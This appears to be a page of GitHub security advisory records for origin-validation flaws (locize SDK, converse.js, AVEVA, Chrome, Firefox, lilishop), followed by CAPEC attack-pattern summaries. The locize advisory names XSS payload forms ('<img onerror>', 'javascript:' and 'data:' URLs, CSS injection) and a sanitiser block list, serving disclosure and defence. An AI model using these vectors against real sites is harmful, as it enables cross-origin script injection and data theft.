CSS-injection —
handleRequestPopupChangesnow requirescontainerStyle.height/.widthto match a strict CSS length pattern; malformed values are dropped silently.
Workarounds
No workaround short of upgrading.
Credits
Discovered via an internal security audit of the locize ecosystem.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "locize"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41886"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:32:11Z",
"nvd_published_at": "2026-05-08T16:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\n\nVersions of the `locize` client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a `window.addEventListener(\"message\", \u2026)` handler that dispatches to registered internal handlers (`editKey`, `commitKey`, `commitKeys`, `isLocizeEnabled`, `requestInitialize`, \u2026) **without validating `event.origin`**.\n\nThe pre-patch listener in `src/api/postMessage.js` gates dispatch on `event.data.sender === \"i18next-editor-frame\"` \u2014 that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host \u2014 an iframe on a third-party page, a `window.open`-ed victim, a parent frame reaching down \u2014 could send a crafted `postMessage` and trigger the internal handlers.\n\n### Impact\n\nDepending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.\n\n- **Cross-origin DOM XSS** via `editKey` / `commitKeys`: the pre-patch `handleEditKey` assigned attacker-controlled payload values to `item.node.innerHTML` and to `item.node.setAttribute(attr, value)`. That allowed planting `\u003cscript\u003e`, `\u003cimg onerror\u003e`, or `onclick`/`onload`/`onfocus` event handlers; and on attribute writes, `href=\"javascript:\u2026\"` / `src=\"data:text/html,\u003cscript\u003e\u2026\"` / `style=\"\u2026\"` / etc.\n\n- **`api.source` / `api.origin` hijack** via `isLocizeEnabled`: the handler set `api.source = e.source; api.origin = e.origin` \u2014 attacker-controlled values. All subsequent `sendMessage` calls (which post translations, callbacks, etc., back toward `api.source`) would go to the attacker window rather than the real editor, leaking translation content and any metadata the SDK forwards.\n\n- **CSS-injection / layout-escape** via `requestPopupChanges`: `containerStyle.height` / `.width` were interpolated into `calc()` expressions and `popup.style.setProperty()` without validation, allowing attackers to inject additional CSS declarations (semicolons, `behavior:url()` on legacy IE, CSS-exfil patterns) into the popup inline style.\n\nExploitation requires the attacker-owned page to share a window reference with the locize-enabled host: typical vectors are an `iframe` on an attacker-controlled page, a `window.opener`/`window.open` relationship, or a parent frame that can `postMessage` into an embedded locize host. The SDK intended model is that only the editor iframe at `https://incontext.locize.app` (or the configured staging/development origin) can reach these handlers.\n\n### Affected versions\n\nAll versions of `locize` prior to **4.0.21**.\n\n### Patch\n\nFixed in **4.0.21**. Two layers:\n\n1. **Primary** \u2014 validate `event.origin` at the top of `window.addEventListener(\"message\", \u2026)` in `src/api/postMessage.js`. The expected origin is the configured iframe origin (`getIframeUrl()`), so custom environments continue to work. Messages from any other origin are silently dropped before any handler runs.\n\n2. **Defence-in-depth** \u2014 `handleEditKey` now rejects dangerous attribute-name writes (`on*`, `style`) and `javascript:` / `data:` / `vbscript:` / `file:` URLs on `href` / `src` / `action` / `formaction` / `xlink:href`; `innerHTML` assignments are sanitised through a throwaway DOMParser document (stripping `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, `\u003cembed\u003e`, `\u003clink\u003e`, `\u003cmeta\u003e`, `\u003cbase\u003e`, `\u003cstyle\u003e` plus event handlers and dangerous URL schemes). Legitimate translation formatting (`\u003cb\u003e`, `\u003cem\u003e`, `\u003cstrong\u003e`, `\u003ca href=\"https://\u2026\"\u003e`, etc.) passes through.\n\n3. **CSS-injection** \u2014 `handleRequestPopupChanges` now requires `containerStyle.height` / `.width` to match a strict CSS length pattern; malformed values are dropped silently.\n\n### Workarounds\n\nNo workaround short of upgrading.\n\n### Credits\n\nDiscovered via an internal security audit of the locize ecosystem.",
"id": "GHSA-w937-fg2h-xhq2",
"modified": "2026-05-13T13:30:12Z",
"published": "2026-04-22T20:32:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/locize/locize/security/advisories/GHSA-w937-fg2h-xhq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41886"
},
{
"type": "WEB",
"url": "https://github.com/locize/locize/commit/d006b75fadb8e8ab77b023e462850fc6e9170735"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns"
},
{
"type": "PACKAGE",
"url": "https://github.com/locize/locize"
},
{
"type": "WEB",
"url": "https://github.com/locize/locize/releases/tag/v4.0.21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "locize Client SDK: Cross-origin DOM XSS \u0026 Handler Hijack Through Missing e.origin Validation in InContext Editor "
}
GHSA-W973-2QCC-P78X
Vulnerability from github – Published: 2020-09-11 21:19 – Updated: 2021-09-28 16:56Versions of converse.js prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of XEP-0280: Message Carbons that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks.
Recommendation
If you're using converse.js 1.x, upgrade to 1.0.7 or later.
If you're using converse.js 2.x, upgrade to 2.0.5 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "converse.js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "converse.js"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-5858"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:42:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Versions of `converse.js` prior to 1.0.7 for 1.x or 2.0.5 for 2.x are vulnerable to User Impersonation. The package provides an incorrect implementation of [XEP-0280: Message Carbons](https://xmpp.org/extensions/xep-0280.html) that allows a remote attacker to impersonate any user, including contacts, in the vulnerable application\u0027s display. This allows for various kinds of social engineering attacks.\n\n\n## Recommendation\n\nIf you\u0027re using `converse.js` 1.x, upgrade to 1.0.7 or later.\nIf you\u0027re using `converse.js` 2.x, upgrade to 2.0.5 or later.",
"id": "GHSA-w973-2qcc-p78x",
"modified": "2021-09-28T16:56:35Z",
"published": "2020-09-11T21:19:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5858"
},
{
"type": "WEB",
"url": "https://github.com/jcbrand/converse.js/commit/42f249cabbbf5c026398e6d3b350f6f9536ea572"
},
{
"type": "PACKAGE",
"url": "https://github.com/jcbrand/converse.js"
},
{
"type": "WEB",
"url": "https://rt-solutions.de/en/2017/02/CVE-2017-5589_xmpp_carbons"
},
{
"type": "WEB",
"url": "https://rt-solutions.de/wp-content/uploads/2017/02/CVE-2017-5589_xmpp_carbons.pdf"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-CONVERSEJS-449664"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/974"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2017/02/09/29"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2017/02/09/29"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96183"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "User Impersonation in converse.js"
}
GHSA-W992-VGRP-856G
Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-14 00:00AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.
{
"affected": [],
"aliases": [
"CVE-2021-32985"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-04T20:15:00Z",
"severity": "HIGH"
},
"details": "AVEVA System Platform versions 2017 through 2020 R2 P01 does not properly verify that the source of data or communication is valid.",
"id": "GHSA-w992-vgrp-856g",
"modified": "2022-04-14T00:00:42Z",
"published": "2022-04-05T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32985"
},
{
"type": "WEB",
"url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2021-002.pdf"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-180-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCCX-FXF3-QG7R
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 21:31Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-10937"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:16:56Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-wccx-fxf3-qg7r",
"modified": "2026-06-05T21:31:56Z",
"published": "2026-06-05T00:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10937"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/502651056"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WG2H-WC56-7JCC
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-05-19 18:32Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.
{
"affected": [],
"aliases": [
"CVE-2026-8971"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T14:16:53Z",
"severity": "MODERATE"
},
"details": "Same-origin policy bypass in the Networking: JAR component. This vulnerability was fixed in Firefox 151.",
"id": "GHSA-wg2h-wc56-7jcc",
"modified": "2026-05-19T18:32:10Z",
"published": "2026-05-19T15:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8971"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2032604"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-46"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-50"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRR5-XWCP-MRF2
Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-11-20 15:30lilishop <=4.2.4 is vulnerable to Incorrect Access Control, which can allow attackers to obtain coupons beyond the quantity limit by capturing and sending the data packets for coupon collection in high concurrency.
{
"affected": [],
"aliases": [
"CVE-2024-50654"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T17:15:20Z",
"severity": "HIGH"
},
"details": "lilishop \u003c=4.2.4 is vulnerable to Incorrect Access Control, which can allow attackers to obtain coupons beyond the quantity limit by capturing and sending the data packets for coupon collection in high concurrency.",
"id": "GHSA-wrr5-xwcp-mrf2",
"modified": "2024-11-20T15:30:50Z",
"published": "2024-11-15T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50654"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/blob/main/lilishop/CouponLogicVulnerability.md"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/tree/main/CVE-2024-50654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.